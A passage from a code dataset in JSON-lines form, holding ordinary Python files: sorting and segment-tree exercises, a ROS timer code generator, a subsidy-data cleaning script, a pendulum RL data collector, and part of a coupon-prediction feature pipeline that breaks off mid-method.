size)\n","repo_name":"daisuke131/eel_search","sub_path":"view.py","file_name":"view.py","file_ext":"py","file_size_in_byte":261,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"69"} +{"seq_id":"72155419750","text":"def bubble(arr, i):\n\tfor j in range(0, len(arr) - 1):\n\t\t\tif arr[j] > arr[j + 1]:\n\t\t\t\tarr[j], arr[j + 1] = arr[j + 1], arr[j]\n\n\ndef bubblesort(arr):\n\ti = 0\n\twhile (i < len(arr)):\n\t\tbubble(arr, i)\n\t\ti = i +1\n\treturn arr\n\n\n\narr = [9, 8, 4, 6, 19, 1, 2, 5, 7, 3]\n\nprint(arr)\nsorte = bubblesort(arr)\nprint(sorte)\n\n","repo_name":"stevembui52/my_tests","sub_path":"algorithms/sorting_algos/bubble_sort.py","file_name":"bubble_sort.py","file_ext":"py","file_size_in_byte":310,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"71"} +{"seq_id":"3571143679","text":"import logging\nfrom pint import UnitRegistry\n\nfrom threads.AADLThread import AADLThread\n\nimport threads.AADLThreadFunctionsSupport as tfs\n\nfrom datatypes.Type import Void, ROS_TimerEvent, ROS_Timer\n\nfrom variables.Variable import Variable\nfrom methods.Method import Method\n\nlog = logging.getLogger(\"root\")\nureg = UnitRegistry()\n\n\nclass Timer(AADLThread):\n def __init__(self, _system_root, _process, _thread, _associated_class):\n super().__init__(_system_root, _process, _thread, _associated_class)\n log.info(\"Timer thread {}\".format(self.name))\n\n # Parametri del Timer\n self.source_text_function = None\n self.frequency_in_hz = None\n self.period_in_seconds = None\n self.timerCallback = None\n\n def populateData(self):\n main_thread = self.associated_class.getMainThread()\n\n if main_thread is None:\n return False, \"Unable to get the Main Thread\"\n\n # Ottengo le informazioni necessarie per i thread di tipo Timer:\n # - Source Text\n # - Period\n\n thread_function = tfs.getSubprogram(self.thread)\n if thread_function is None:\n return False, \"Unable to find the right Subprogram\"\n\n # TRANSFORMATION FRAME\n\n # Controllo l'uso del Transformation Frame\n self.thread_uses_tf = self.setUsesTransformationFrame()\n\n # Source Text\n\n self.source_text_function = self.createSourceTextFileFromSourceText(tfs.getSourceText(thread_function),\n tfs.getSourceName(thread_function))\n\n if self.source_text_function is None:\n return False, \"Unable to find property Source_Text or Source_Name\"\n\n self.source_text_function.setTF(self.thread_uses_tf)\n\n # FREQUENCY\n\n (period, period_unit) = tfs.getPeriod(self.thread)\n\n if period is None or period_unit is None:\n return False, \"Unable to find property Period with relative value and unit\"\n\n # Conversione in secondi della frequenza a partire da qualunque unità di misura\n try:\n period_quantity = ureg(\"{} {}\".format(period, period_unit))\n period_quantity.ito(ureg.second)\n self.frequency_in_hz = 1.0 / period_quantity.magnitude\n self.period_in_seconds = period_quantity.magnitude\n except ValueError:\n return False, \"Unable to convert Period in seconds\"\n\n # TIMER\n var_timer = Variable(self.associated_class)\n var_timer.setName(\"timer_{}\".format(self.name))\n var_timer.setType(ROS_Timer(self.associated_class))\n self.associated_class.addInternalVariable(var_timer)\n\n ######################\n ### TIMER CALLBACK ###\n ######################\n\n self.timerCallback = Method(self.associated_class)\n self.timerCallback.method_name = \"{}_callback\".format(self.name)\n self.timerCallback.return_type = Void(self.associated_class)\n self.timerCallback.namespace = self.associated_class.class_name\n\n input_par = Variable(self.associated_class)\n input_par.setIsParameter()\n input_par.setType(ROS_TimerEvent(self.associated_class))\n input_par.setName(\"\")\n self.timerCallback.addInputParameter(input_par)\n\n # Aggiungo la chiamata alla funzione custom\n if self.source_text_function:\n code = \"{};\".format(self.source_text_function.generateInlineCode())\n self.timerCallback.addMiddleCode(code)\n\n self.associated_class.addPrivateMethod(self.timerCallback)\n\n main_thread.prepare.addMiddleCode(\"{} = handle.createTimer(ros::Duration({}), {}, this);\"\n .format(var_timer.name, self.period_in_seconds,\n self.timerCallback.getThreadPointer()))\n\n return True, \"\"\n","repo_name":"AADL4ROS/ros-code-generator","sub_path":"threads/Timer.py","file_name":"Timer.py","file_ext":"py","file_size_in_byte":3889,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"71"} +{"seq_id":"42915772319","text":"import math\n\n\nclass Segtree:\n def __init__(self, a: list, mode: str) -> None:\n self.n = len(a)\n self.a = a\n\n d = {\"sum\": 0,\n \"max\": -float('inf'),\n \"min\": float('inf'),\n \"gcd\": 0,\n \"lcm\": 1}\n\n # dummy value to make no changes during an operation\n self.num = d[mode]\n\n # acceptable values: sum, min, max, gcd, lcm\n self.mode = mode\n\n # array used to represent the tree has length 4n\n # some won't be used; represented by float('inf')\n self.tree = [float('inf') for _ in range(4*len(a))]\n\n # helper method\n def _calc(self, a: int, b: int) -> int:\n if self.mode == \"sum\":\n return a + b\n elif self.mode == \"max\":\n return max(a, b)\n elif self.mode == \"min\":\n return min(a, b)\n elif self.mode == \"gcd\":\n return math.gcd(a, b)\n elif self.mode == \"lcm\":\n return (a*b) // math.gcd(a, b)\n\n # can't use instance variables as function default parameters\n def _trcheck(self, tr: int) -> int:\n if tr == -1:\n return self.n-1\n return tr\n\n def build(self, idx=1, tl=0, tr=-1) -> None:\n # constructs segtree from array a\n tr = self._trcheck(tr)\n\n if tl == tr:\n self.tree[idx] = self.a[tl]\n return\n tm = (tl+tr)//2\n self.build(idx*2, tl, tm)\n self.build(idx*2+1, tm+1, tr)\n self.tree[idx] = self._calc(self.tree[idx*2], self.tree[idx*2+1])\n\n # both getres() and update() are based on INDEX in the ORIGINAL ARRAY A\n # 0-indexed\n def getres(self, l: int, r: int, idx=1, tl=0, tr=-1) -> int:\n # finds res of a[l,r]\n tr = self._trcheck(tr)\n\n if l > r:\n return self.num\n if tl == l and tr == r:\n return self.tree[idx]\n tm = (tl+tr)//2\n return self._calc(self.getres(l, min(r, tm), idx*2, tl, tm), self.getres(max(l, tm+1), r, idx*2+1, tm+1, tr))\n\n def update(self, newidx: int, newval: int, idx=1, tl=0, tr=-1) -> None:\n # dynamically updates self.tree to maintain segtree\n # use index in a as newidx\n tr = self._trcheck(tr)\n\n if tl == tr:\n self.tree[idx] = newval\n return\n tm = (tl+tr)//2\n if newidx <= tm:\n self.update(newidx, newval, idx*2, tl, tm)\n else:\n self.update(newidx, newval, idx*2+1, tm+1, tr)\n self.tree[idx] = self._calc(self.tree[idx*2], self.tree[idx*2+1])\n\n\nobj = Segtree([1, 2, 3, 4, -1, 6, 7, 8, 9], \"sum\")\nobj.build()\nprint(obj.tree)\nprint(obj.getres(6, 8))\nobj.update(8, 0)\nprint(obj.getres(6, 8))\n","repo_name":"siphc/algosiph","sub_path":"Python/Segtree.py","file_name":"Segtree.py","file_ext":"py","file_size_in_byte":2694,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"71"} +{"seq_id":"3434583233","text":"import pandas as pd\nfrom paths.path_definition import all_cities\nimport numpy as np\nfrom preprocessing import clean_string_column, to_remove, drop_if_contains, heat_conversion_factors, list_unique_values\nfrom values import system_efficiencies\n\n\n# PATHS\neko_sklad_folder = all_cities['root'] / all_cities['eko_sklad_folder']\nfile_name_base = 'Eko_sklad_'\n\n# read STA_SID identifiers\naddresses_path = all_cities['root'] / all_cities['addresses_all']\naddresses = pd.read_csv(\n addresses_path,\n encoding='cp1250',\n)\n\n\nCOLS_EKO_SKLAD = ['Naslov',\n 'Obcina',\n 'OpisaNamena',\n 'OpisKolicine',\n 'Velikost',\n 'Enota']\n\n# list measures to be included in final table\nHEAT_PUMP = ['vgradnja toplotne črpalke za pripravo sanitarne tople vode in/ali centralno ogrevanje stanovanjske stavbe',\n 'vgradnja toplotne črpalke za centralno ogrevanje starejše stanovanjske stavbe',\n 'vgradnja toplotne črpalke za centralno ogrevanje stanovanjske stavbe',\n 'vgradnja toplotne črpalke za centralno ogrevanje stavbe']\n\nBIOMASS = ['vgradnja kurilne naprave za centralno ogrevanje stanovanjske stavbe na lesno biomaso',\n 'za ogrevanje na lesno biomaso',\n 'vgradnja toplovodne kurilne naprave za centralno ogrevanje stanovanjske stavbe na lesno biomaso',\n 'nova kurilna naprava na lesno biomaso, ki bo priklopljena na centralno ogrevanje',\n 'novo kurilno napravo na lesno biomaso, ki zagotavlja toploto centralnemu sistemu ogrevanja',\n 'zamenjava stare kurilne naprave na trda goriva z novo kurilno napravo na lesno biomaso, '\n 'ki bo priklopljena na centralno ogrevanje',\n 'vgradnja kurilne naprave na lesno biomaso za centralno ogrevanje stavbe']\n\nGAS = ['vgradnja plinskega kondenzacijskega kotla za centralno ogrevanje starejše stanovanjske stavbe ']\n\nSOLAR_THERMAL = ['vgradnja solarnega ogrevalnega sistema v stanovanjski stavbi']\n\nBIOMASS_SECONDARY = ['novo enosobno kurilno napravo na lesno biomaso, namenjeno zlasti ogrevanju prostora, '\n 'v katerega je postavljena,'\n 'zamenjava stare kurilne naprave na trda goriva z novo enosobno kurilno napravo na lesno biomaso, '\n 'namenjeno zlasti ogrevanju prostora, v katerega je postavljena']\n\nINSULATION = ['zamenjava zunanjega stavbnega pohištva pri obnovi stanovanjske stavbe',\n 'toplotna izolacija fasade pri obnovi eno ali dvostanovanjske stavbe',\n 'toplotna izolacija strehe oziroma podstrešja pri obnovi eno ali dvostanovanjske stavbe',\n 'vgradnja lesenega zunanjega stavbnega pohištva pri obnovi stanovanjske stavbe',\n 'toplotna izolacija fasade pri obnovi večstanovanjske stavbe',\n 'toplotna izolacija strehe oziroma podstrešja pri obnovi večstanovanjske stavbe',\n 'zamenjava zunanjega stavbnega pohištva v skupnih prostorih',\n 'toplotna izolacija fasade pri obnovi stanovanjske stavbe'\n 'za zamenjavo zunanjega stavbnega pohištva',\n 'celovita obnova starejše eno- ali dvostanovanjske stavbe']\n\nEFFICIENCY_INCREASE = ['vgradnja prezračevanja z vračanjem toplote odpadnega zraka v stanovanjski stavbi',\n 'vgradnja termostatskih ventilov in hidravlično uravnoteženje ogrevalnih sistemov',\n 'sistem delive stroškov za toploto',\n 'vgradnja prezračevanja z vračanjem toplote odpadnega zraka v starejši stanovanjski stavbi',\n 'optimizacija sistema ogrevanja']\n\nmeasures = dict({'HEAT_PUMP_AIR': HEAT_PUMP,\n 'BIOMASS': BIOMASS,\n 'ZP': GAS,\n 'SOLAR_THERMAL': SOLAR_THERMAL,\n 'BIOMASS_SECONDARY': BIOMASS_SECONDARY}) #,\n # 'INSULATION_eko_sklad': INSULATION,\n # 'EFFICIENCY_INCREASE_eko_sklad': EFFICIENCY_INCREASE})\n\n# create dataframe from eko sklad tables\neko_sklad = pd.DataFrame()\nyears = [2011, 2012, 2013, 2014, 2015, 2016, 2017, 2018, 2019]\nfor year in years:\n\n file_name = file_name_base + str(year) + '.csv'\n file_path = eko_sklad_folder / file_name\n\n df = pd.read_csv(\n file_path,\n usecols=COLS_EKO_SKLAD,\n encoding='cp1250',\n low_memory=False,\n decimal=',',\n sep=';'\n )\n df['INSTALLATION_YEAR'] = year\n eko_sklad = pd.concat([eko_sklad, df])\n\n\n# one hot encode eko_sklad measures in columns\nfor c, v in measures.items():\n eko_sklad[c] = 0\n eko_sklad.loc[eko_sklad['OpisaNamena'].isin(v), c] = 1\n\n# drop unnecessary columns\neko_sklad.drop(\n columns=eko_sklad.columns[[3, 5]],\n axis=1,\n inplace=True\n)\neko_sklad.rename(\n columns={'Velikost': 'kW_m2_stevilo',\n 'OpisaNamena': 'Naziv vrsta naprave'},\n inplace=True\n)\n\neko_sklad['kW_m2_stevilo'] = eko_sklad['kW_m2_stevilo'].astype('float').map('{:,.1f}'.format)\n\n# drop entries referring to irrelevant measures\neko_sklad = eko_sklad[eko_sklad[measures.keys()].sum(axis=1) > 0]\nprint(eko_sklad.shape)\n# drop duplicates\neko_sklad.drop_duplicates(inplace=True)\n\n# set unique index\neko_sklad.reset_index(drop='index', inplace=True) #set_index(np.linspace(0, len(eko_sklad)-1, len(eko_sklad)), inplace=True)\n\n\n# drop entries without address\neko_sklad.dropna(\n subset=['Naslov'],\n inplace=True\n)\n\nstrings_to_drop = ['gradbeno dovoljenje', 'N.H.', ' NH']\neko_sklad = drop_if_contains(\n eko_sklad,\n 'Naslov',\n strings_to_drop\n)\n\neko_sklad['Naslov_'] = eko_sklad.Naslov.str.upper()\neko_sklad = clean_string_column(\n eko_sklad,\n to_remove,\n column='Naslov_'\n)\n\n# create Obcina column that matches the eko_sklad Obcina\naddresses['Obcina'] = addresses.OB_UIME.str.upper()\n\n\n# modify address to match addresses and eko_sklad\naddresses['Naslov_'] = addresses.ADDRESS.str.upper()\naddresses = clean_string_column(\n addresses,\n to_remove,\n column='Naslov_'\n)\n\n\n# create eko_sklad_address\neko_sklad_address = eko_sklad.join(\n addresses.set_index(['Obcina', 'Naslov_']),\n on=['Obcina', 'Naslov_'],\n how='inner'\n)\n\n\n# remove last word from address in case its a municipality\neko_sklad['Naslov'].apply(lambda x: x.rpartition(',')[0])\n\n\n# to resolve - most addresses are wrong, but not all\nind = set(eko_sklad.index).difference(set(eko_sklad_address.index))\nunassigned = eko_sklad.loc[ind]\n\n\n# add entries with wrong municipality\n# - listed address matches single address in slovenia, but other municipality\ntmp = unassigned.drop(\n 'Obcina',\n axis=1\n).join(\n addresses.set_index(['Naslov_']),\n on=['Naslov_'],\n how='left'\n)\n\ntmp = tmp.drop_duplicates(\n subset=['Naslov_'],\n keep=False\n).dropna(\n subset=['Obcina']\n)\n\n# add tmp final table\neko_sklad_address = eko_sklad_address.append(tmp, sort=False)\n\n# to resolve - most addresses are wrong, but not all\nstrings_to_drop = ['NOVOGRADNJA',\n 'novogradnja',\n ' N. H.',\n 'BH',\n 'NŠ',\n 'HŠ',\n 'BŠ',\n 'B.Š.',\n 'N.H']\n\neko_sklad = drop_if_contains(eko_sklad, 'Naslov', strings_to_drop)\n\n# collect unassigned entries\nind = set(eko_sklad.index).difference(set(eko_sklad_address.index))\nunassigned = eko_sklad.loc[ind]\n\n# assign addresses without last word in address in case word is a municipality and add to final table\nunassigned['Naslov_'] = unassigned['Naslov'].str.upper()\nfor i in range(4):\n unassigned['Naslov_'] = unassigned['Naslov_'].apply(lambda x: x.rpartition(' ')[0])\n unassigned = clean_string_column(unassigned, to_remove, column='Naslov_')\n\n tmp = unassigned.join(\n addresses.set_index(['Obcina', 'Naslov_']),\n on=['Obcina', 'Naslov_'],\n how='inner'\n )\n eko_sklad_address = eko_sklad_address.append(tmp, sort=False)\n\n\n# collect unassigned entries\nind = set(eko_sklad.index).difference(set(eko_sklad_address.index))\nunassigned = eko_sklad.loc[ind]\nprint(f'Unassigned entries: {round(unassigned.shape[0]/eko_sklad.shape[0]*100, 2)}%')\n# TODO improve 6.95%\n\n# heat conversion factors\neko_sklad_address = heat_conversion_factors(eko_sklad_address.copy(), system_efficiencies)\n\n\nto_keep = [\n 'kW_m2_stevilo',\n 'Naziv vrsta naprave',\n 'INSTALLATION_YEAR',\n 'HEAT_PUMP_AIR',\n 'BIOMASS',\n 'ZP',\n # 'BIOMASS_SECONDARY',\n 'SOLAR_THERMAL'\n]\n\n# average heat conversion factors per STA_SID - average means we assume if 2 systems per STA_SID each contributes 50%\nfuel_cols = to_keep[3:]\nfinal = eko_sklad_address.groupby('STA_SID')[fuel_cols].mean()\n\n\n# add list of system info\ntmp = eko_sklad_address.copy()\nfor col in ['kW_m2_stevilo', 'Naziv vrsta naprave', 'INSTALLATION_YEAR']:\n final[col] = list_unique_values(tmp, col, groupby='STA_SID')\n\n\n# save result\nfile_path = all_cities['root'] / all_cities['eko_sklad_cleaned']\nfinal.to_csv(\n file_path,\n)\n\nprint(f'\\nFile saved to: {file_path}\\n')\n","repo_name":"peterahcin/CityHeat","sub_path":"preprocess/clean_ekosklad.py","file_name":"clean_ekosklad.py","file_ext":"py","file_size_in_byte":9110,"program_lang":"python","lang":"sl","doc_type":"code","stars":0,"dataset":"github-code","pt":"71"} +{"seq_id":"15897070689","text":"import gym\nimport sys\nsys.path.append('/media/Z/shun/offline-reinforcement-learning-2021/pendulum')\nimport utils\nimport os\nimport models\nimport torch \nfrom copy import deepcopy\ndevice = torch.device(\"cpu\")\n\nmodel_path = \"/media/Z/shun/storage/pendulum/model\"\ndata_path = \"/media/Z/shun/storage/pendulum/dataset\"\nmodel = \"/best_model_actor_pendulum_ddpg.pkl\" \n\nnum_t = utils.num_trajectories\nnum_h = utils.HORIZON\n\nenv = gym.make(utils.env_name)\nenv.seed(1)\nobs_dim = env.observation_space.shape[0]\nact_dim = env.action_space.shape[0]\n\nac = models.Actor(obs_dim, act_dim).to(device)\nac.load_state_dict(torch.load(model_path + model))\n\ndataset = utils.Dataset(obs_dim, act_dim)\n\nfor tau in range(num_t):\n print(\"Collecting trajectory\", tau)\n s_curr = deepcopy(env.reset())\n h = 1\n while h <= utils.HORIZON:\n a_curr = ac.get_action(s_curr)\n s_next, r_curr, done, _ = env.step(a_curr)\n dataset.add(s_curr, a_curr, r_curr, s_next, done)\n s_curr = s_next\n h += 1\n\nif not os.path.exists(data_path + f\"/ddpg_dataset--nt-{num_t}_h-{num_h}\"):\n os.makedirs(data_path + f\"/ddpg_dataset--nt-{num_t}_h-{num_h}\")\ndataset.save(data_path + f\"/ddpg_dataset--nt-{num_t}_h-{num_h}\")\nprint(\"Offline data saved to\", data_path + f\"/ddpg_dataset--nt-{num_t}_h-{num_h}\")\n\n","repo_name":"shady2000/GPPEVI","sub_path":"pendulum/DDPG/collect_data_ddpg.py","file_name":"collect_data_ddpg.py","file_ext":"py","file_size_in_byte":1297,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"71"} +{"seq_id":"16780921302","text":"from collections import OrderedDict\n\nimport numpy as np\nimport pandas as pd\nimport tqdm\nfrom loguru import logger as LOG\n\nfrom z1_raw import apply_discount_rate\nfrom util import TLOG, profile, get_config\nfrom feature_definition import FEATURES, TestSplit, ValidateSplit\nfrom events_snapshot import EventsSnapshot, CALCULATION_OPS, COMBINATION_OPS, OP_NAMES\n\n\ndef with_discount(df, df_discount):\n return pd.merge(df, df_discount, how='left', left_on='discount_name', right_index=True)\n\n\nclass O2OEvents:\n \"\"\"\n Event types:\n offline_receive_coupon\n offline_buy_with_coupon\n offline_buy_without_coupon\n online_receive_coupon\n online_buy_with_coupon\n online_buy_without_coupon\n online_click\n\n Event columns:\n date\n date2\n event_type\n user_id\n merchant_id\n coupon_id\n discount_name\n distance\n click_count\n label\n \"\"\"\n\n def __init__(self, user_id_index):\n self._data = []\n self.user_id_index = user_id_index\n\n @staticmethod\n def _get_coupon_event_type(df, line):\n buy_without_coupon = df['coupon_id'].isnull() | df['date_received'].isnull()\n buy_with_coupon = (~buy_without_coupon) & df['date'].notnull()\n receive_coupon = (~buy_without_coupon) & df['date'].isnull()\n event_type = pd.concat([\n pd.Series(line + '_buy_with_coupon', index=df.index[buy_with_coupon]),\n pd.Series(line + '_buy_without_coupon', index=df.index[buy_without_coupon]),\n pd.Series(line + '_receive_coupon', index=df.index[receive_coupon]),\n ]).sort_index()\n return event_type\n\n def _feed_coupon(self, df, line):\n event_type = self._get_coupon_event_type(df, line)\n is_receive_coupon = event_type == line + '_receive_coupon'\n is_buy_with_coupon = event_type == line + '_buy_with_coupon'\n df_receive_coupon = df.loc[is_receive_coupon].copy()\n df_buy_with_coupon = df.loc[is_buy_with_coupon].copy()\n df_buy_without_coupon = df.loc[~(is_receive_coupon | is_buy_with_coupon)].copy()\n\n # date:事件发生时间,date2:相关的一个时间\n df_receive_coupon['event_type'] = line + '_receive_coupon'\n df_receive_coupon['date2'] = df_receive_coupon['date']\n df_receive_coupon['date'] = df_receive_coupon['date_received']\n\n # buy_with_coupon 包含两个事件,一个领券一个用券\n df_receive_coupon2 = df_buy_with_coupon.copy()\n df_receive_coupon2['event_type'] = line + '_receive_coupon'\n df_receive_coupon2['date2'] = df_receive_coupon2['date']\n df_receive_coupon2['date'] = df_receive_coupon2['date_received']\n\n df_buy_with_coupon['event_type'] = line + '_buy_with_coupon'\n df_buy_with_coupon['date2'] = df_buy_with_coupon['date_received']\n\n df_buy_without_coupon['event_type'] = line + '_buy_without_coupon'\n df_buy_without_coupon['date2'] = pd.NaT\n\n df = pd.concat([\n df_receive_coupon,\n df_receive_coupon2,\n df_buy_with_coupon,\n df_buy_without_coupon,\n ], ignore_index=True)\n\n if line == 'online':\n df['distance'] = np.NAN\n df['click_count'] = np.NAN\n df_result = df[[\n 'date', 'date2', 'event_type', 'user_id', 'merchant_id',\n 'coupon_id', 'discount_name', 'distance', 'click_count',\n ]].reset_index(drop=True)\n self._data.append(df_result)\n\n def feed_offline(self, df):\n self._feed_coupon(df, 'offline')\n\n def feed_online_coupon(self, df):\n df = df[df['user_id'].isin(self.user_id_index)]\n self._feed_coupon(df, 'online')\n\n def feed_online_click(self, df):\n df = df[df['user_id'].isin(self.user_id_index)]\n result = OrderedDict()\n result['date'] = df['date']\n result['date2'] = pd.NaT\n result['event_type'] = 'online_click'\n result['user_id'] = df['user_id']\n result['merchant_id'] = df['merchant_id']\n result['coupon_id'] = np.NAN\n result['discount_name'] = np.NAN\n result['distance'] = np.NAN\n result['click_count'] = df['count']\n df_result = pd.DataFrame.from_dict(result)\n self._data.append(df_result)\n\n def feed_test(self, df):\n result = OrderedDict()\n result['date'] = df['date_received']\n result['date2'] = pd.NaT\n result['event_type'] = 'offline_receive_coupon'\n result['user_id'] = df['user_id']\n result['merchant_id'] = df['merchant_id']\n result['coupon_id'] = df['coupon_id']\n result['discount_name'] = df['discount_name']\n result['distance'] = df['distance']\n result['click_count'] = np.NAN\n df_result = pd.DataFrame.from_dict(result)\n self._data.append(df_result)\n\n def to_frame_full(self):\n df = pd.concat(self._data, ignore_index=True).reset_index(drop=True)\n df['event_type'] = df['event_type'].astype('category')\n df['discount_name'] = df['discount_name'].astype('category')\n df.sort_values(['date', 'event_type'], inplace=True)\n return df\n\n def _label_of(self, df):\n return (\n (df['event_type'] == 'offline_receive_coupon') &\n (df['date2'].notnull()) &\n ((df['date2'].dt.dayofyear - df['date'].dt.dayofyear) <= 15)\n )\n\n def to_frame(self, split):\n df = self.to_frame_full()\n df1 = df[\n (split.feature_begin <= df['date']) & (df['date'] <= split.feature_end)\n ].copy()\n df1['label'] = self._label_of(df1)\n df2 = df[\n (split.test_begin <= df['date']) & (df['date'] <= split.test_end) &\n (df['event_type'] == 'offline_receive_coupon')\n ].copy()\n df2['label'] = self._label_of(df2)\n df2['date2'] = pd.NaT\n df = pd.concat([df1, df2], ignore_index=True).reset_index(drop=True)\n return df\n\n @staticmethod\n def build_discount_table(df_events):\n discounts = pd.Series(np.array(df_events['discount_name'].dropna().unique()))\n discount_table = apply_discount_rate(discounts)\n discount_table.columns = [\n 'discount_name',\n 'is_xianshi',\n 'is_dazhe',\n 'is_manjian',\n 'discount_man',\n 'discount_jian',\n 'discount_rate',\n ]\n discount_table['discount_name'] = discount_table['discount_name'].astype('category')\n discount_table.set_index('discount_name', inplace=True)\n discount_table.sort_index(inplace=True)\n return discount_table\n\n @staticmethod\n def build_index_of(df, key):\n if isinstance(key, (tuple, list)):\n v = pd.unique(list(df[key].dropna().itertuples(index=False, name=None)))\n else:\n v = np.array(df[key].dropna().unique())\n return v\n\n @classmethod\n def main(cls, split):\n df_raw_offline = pd.read_msgpack(f'data/z1_raw_offline.msgpack')\n df_raw_test = pd.read_msgpack(f'data/z1_raw_test.msgpack')\n user_id_index = np.unique(np.concatenate([\n df_raw_offline['user_id'].unique(),\n df_raw_test['user_id'].unique()\n ]))\n events = cls(user_id_index)\n LOG.info('events feed_offline')\n events.feed_offline(df_raw_offline)\n df_online_coupon = pd.read_msgpack(f'data/z1_raw_online_coupon.msgpack')\n LOG.info('events feed_online_coupon')\n events.feed_online_coupon(df_online_coupon)\n df_online_click = pd.read_msgpack(f'data/z1_raw_online_click.msgpack')\n LOG.info('events feed_online_click')\n events.feed_online_click(df_online_click)\n LOG.info('events feed_test')\n events.feed_test(df_raw_test)\n LOG.info('events to_frame')\n df = events.to_frame(split)\n df.to_msgpack(f'data/z6_ts_{split.name}_events.msgpack')\n\n LOG.info('build_discount_table')\n df_discount = cls.build_discount_table(df)\n df_discount.to_msgpack(f'data/z6_ts_{split.name}_discount.msgpack')\n\n df_offline_events = df[\n df['event_type'].isin([\n 'offline_receive_coupon',\n 'offline_buy_with_coupon',\n 'offline_buy_without_coupon',\n ])\n ]\n LOG.info('build_index_of user_id')\n user_id_index = cls.build_index_of(df_offline_events, 'user_id')\n np.save(f'data/z6_ts_{split.name}_user_id.npy', user_id_index)\n\n for key in ['merchant_id', 'coupon_id']:\n LOG.info('build_index_of {}', key)\n arr = cls.build_index_of(df_offline_events, key)\n np.save('data/z6_ts_{}_{}.npy'.format(split.name, key), arr)\n\n LOG.info('build_index_of user_id_merchant_id')\n arr = cls.build_index_of(df_offline_events, ['user_id', 'merchant_id'])\n np.save(f'data/z6_ts_{split.name}_user_id_merchant_id.npy', arr)\n\n LOG.info('build_index_of user_id_coupon_id')\n arr = cls.build_index_of(df_offline_events, ['user_id', 'coupon_id'])\n np.save(f'data/z6_ts_{split.name}_user_id_coupon_id.npy', arr)\n\n\nclass IndexedEvents:\n def __init__(self, df_events, key_column):\n self.key_column = key_column\n self.is_multikey = not isinstance(key_column, str)\n\n with TLOG('dropna'):\n if self.is_multikey:\n df_events = df_events.loc[df_events[key_column].dropna().index]\n else:\n df_events = df_events[df_events[key_column].notnull()]\n\n with TLOG('_wide_df'):\n df_events = self._wide_df(df_events.copy())\n\n with TLOG('sort_values'):\n cols = ['t', 'is_offline', 'is_coupon', 'is_buy']\n if self.is_multikey:\n cols = self.key_column + cols\n else:\n cols = [self.key_column] + cols\n df_events = df_events.sort_values(cols)\n\n dtype = self._get_np_dtype(df_events)\n self._data = np.empty((len(df_events),), dtype=np.dtype(dtype, align=True))\n with TLOG('convert to numpy'):\n for name in df_events.columns:\n self._data[name] = df_events[name].values\n\n self._index = {}\n with TLOG('_build_index'):\n if self.is_multikey:\n values = self._multikey_values(df_events)\n else:\n values = df_events[[self.key_column, 't']].values\n self._build_index(values)\n\n def _multikey_values(self, df):\n values = df[[*self.key_column, 't']].values\n for *key, t in values:\n yield tuple(key), t\n\n def _wide_df(self, df):\n df['is_offline'] = df['event_type'].isin((\n 'offline_receive_coupon',\n 'offline_buy_with_coupon',\n 'offline_buy_without_coupon',\n ))\n df['is_coupon'] = df['event_type'].isin((\n 'offline_receive_coupon',\n 'online_receive_coupon',\n 'offline_buy_with_coupon',\n 'online_buy_with_coupon',\n ))\n df['is_buy'] = df['event_type'].isin((\n 'offline_buy_with_coupon',\n 'online_buy_with_coupon',\n 'offline_buy_without_coupon',\n 'online_buy_without_coupon',\n ))\n df['is_offline_receive_coupon'] = df['is_offline'] & df['is_coupon'] & (~df['is_buy'])\n df['is_offline_buy_with_coupon'] = df['is_offline'] & df['is_coupon'] & (df['is_buy'])\n df['is_offline_buy_without_coupon'] = df['is_offline'] & (~df['is_coupon']) & df['is_buy']\n df['is_online_receive_coupon'] = (~df['is_offline']) & df['is_coupon'] & (~df['is_buy'])\n df['is_online_buy_with_coupon'] = (~df['is_offline']) & df['is_coupon'] & (df['is_buy'])\n df['is_online_buy_without_coupon'] = (~df['is_offline']) & (~df['is_coupon']) & df['is_buy']\n df['is_online_click'] = (~df['is_offline']) & (~df['is_coupon']) & (~df['is_buy'])\n df['t'] = df['date'].dt.dayofyear - 1\n df['t2'] = df['date2'].dt.dayofyear - 1\n return df\n\n def _get_np_dtype(self, df):\n np_dtype = []\n for k, v in df.dtypes.items():\n if v == np.object:\n v = np.str\n else:\n try:\n v = np.dtype(v)\n except TypeError:\n v = np.str\n np_dtype.append((k, v))\n return np_dtype\n\n @profile\n def _build_index(self, values):\n prev_key = None\n prev_t = 0\n for i, (key, t) in enumerate(values):\n if key == prev_key:\n idx = self._index[key]\n if t == prev_t:\n # prev merchant, prev date\n pass\n else:\n # prev merchant, new date\n idx[prev_t, 1] = i - 1\n idx[prev_t+1:t, 0] = i - 1\n idx[t, 0] = i\n else:\n # new merchant, new date\n idx = np.full((366, 2), -1)\n idx[:t, 0] = i - 1\n idx[t, 0] = i\n self._index[key] = idx\n if prev_key is not None:\n prev_idx = self._index[prev_key]\n prev_idx[prev_t, 1] = i - 1\n prev_idx[prev_t+1:, 0] = i - 1\n prev_key = key\n prev_t = t\n if prev_key is not None:\n prev_idx = self._index[prev_key]\n prev_idx[prev_t, 1] = i - 1\n prev_idx[prev_t+1:, 0] = i - 1\n\n def loc(self, key, t1=None, t2=None):\n idx = self._index[key]\n if t1 is None:\n t1 = 0\n if t2 is None:\n t2 = 365\n i1, j1 = idx[t1]\n i2, j2 = idx[t2]\n if j1 == -1:\n i = i1 + 1\n else:\n i = i1\n if j2 == -1:\n j = i2 + 1\n else:\n j = j2 + 1\n return self._data[i:j]\n\n\nclass FeatureExtractor:\n\n def __init__(self, definition):\n self.calculation = []\n self.combination = []\n for line in definition.strip().splitlines():\n line = line.split('#', 1)[0].strip().replace(' ', '')\n if not line:\n continue\n feature = line\n if '(' in line:\n prefix, line = line.split('(', 1)\n line = line[:-1]\n if '-' in line:\n op = 'sub'\n left, right = line.split('-', 1)\n else:\n assert '/' in line, f'invalid syntax {line}'\n op = 'div'\n left, right = line.split('/', 1)\n left = '.{}.{}'.format(prefix, left)\n right = '.{}.{}'.format(prefix, right)\n self.combination.append((feature, op, left, right))\n else:\n steps = []\n name = ''\n for step in tuple(line.split('.')):\n name += '.' + step\n steps.append((name, step))\n self.calculation.append((feature, steps))\n self.features = []\n self.features.extend(x[0] for x in self.calculation)\n self.features.extend(x[0] for x in self.combination)\n self.calculation = [x[1] for x in self.calculation]\n self.combination = [x[1:] for x in self.combination]\n self.check_missing_ops()\n\n def 